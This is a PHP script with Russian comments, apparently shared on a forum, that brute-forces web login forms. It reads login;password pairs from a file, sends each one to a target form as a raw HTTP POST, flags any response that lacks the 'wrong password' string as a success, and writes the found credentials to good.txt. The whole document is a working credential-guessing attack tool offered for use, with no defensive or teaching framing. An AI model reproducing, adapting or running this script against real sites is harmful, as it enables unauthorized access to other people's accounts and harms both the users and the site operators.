Код:
<?################Брутфорс Форм################## ///////////////////////----(c) nc.STRIEM----////////////////////////// $filepas="file.txt"; ///файл с данными для брута $filegood="good.txt"; ///файл с подходящими паролями $endifg=1; ///закончить при первом же найденом 1-да 0-нет $iskl=array(); //////строки которых не должно быть в правельных страницах///////// $iskl[0]="Неверный пароль"; //$iskl[1]="Неверная длина пароля!"; //$iskl[2]="ERROR"; //$iskl[3]="Ошибка"; ////////////////////////////////////////////////////////////////// $host="localhost"; ///хост $script="/form.php"; ///скрипт ///////////////////////////////////////////////Передоваемый Header /////////////////////////////////////////////////////// $header="POST http://$host$script HTTP/1.0\r\n"; $header.= "Host: $host\r\n"; $header.= "Content-Type: application/x-www-form-urlencoded\r\n"; //////Не обязательные параметры! но не всегда/// //$header.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"; //$header.="Accept-Language: ru\r\n"; //$header.= "Proxy-Connection: Keep-Alive\r\n"; //$header.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425))\r\n"; //$header.="Referer: http://microsoft.com\r\n"; //$header.="Cookie: CREATED=nc.STRIEM\r\n"; ####################################Сам брут##################################### set_time_limit(0); $fo=fopen($filepas,"r"); $kolvoporolei=0; $timestart=time('U'); $fgo=fopen($filegood,"a"); echo "<h3><center>Мы брутили http://$host$script</center></h3>"; while(!feof($fo)) {///////////////////////////////////////////// $fp = fsockopen("www.".$host, 80, $errno, $errstr, 30); if (!$fp) echo "$errstr ($errno)<br />\n"; else { $kolvoporolei++; $dan=rtrim(fgets($fo)); /////берем данные из файла $dannii=split(';',$dan); $out=$header; $zapr="login=$dannii[0]&password=$dannii[1]"; ////имена переменных и их значения сюда $contleng=strlen($zapr); $out.= "Content-Length: $contleng\r\n"; $out.= "Pragma: no-cache\r\n\r\n"; $out.= "$zapr\r\n\r\n"; fwrite($fp, $out); $conte=""; while (!feof($fp)) $conte.=fgets($fp); $est=1; for($i=0;$i<sizeof($iskl);$i++) if(strstr($conte, $iskl[$i])) { $est=0; break; } /////может понадобиться при настройки/// //echo htmlspecialchars($conte); break; ///////////////////////////////// if($est) { fwrite($fgo,$dannii[0].";".$dannii[1]."\n"); echo "<h3><tt>Найдено:".$dannii[0].";".$dannii[1]."</tt></h3>"; if($endifg) break; } fclose($fp); } }////////////////////////////////////////////////////////////////////////////////////////// fclose($fgo); $time=time('U')-$timestart; echo "<h1><center>Закончено</center></h1><br><h3><tt>Проверенно $kolvoporolei вариантов, за $time секунд!</tt></h3><br><h4 align=center><center><tt>©*nc.STRIEM<br>nc.striem@mail.ru</tt></center></h4>"; ?>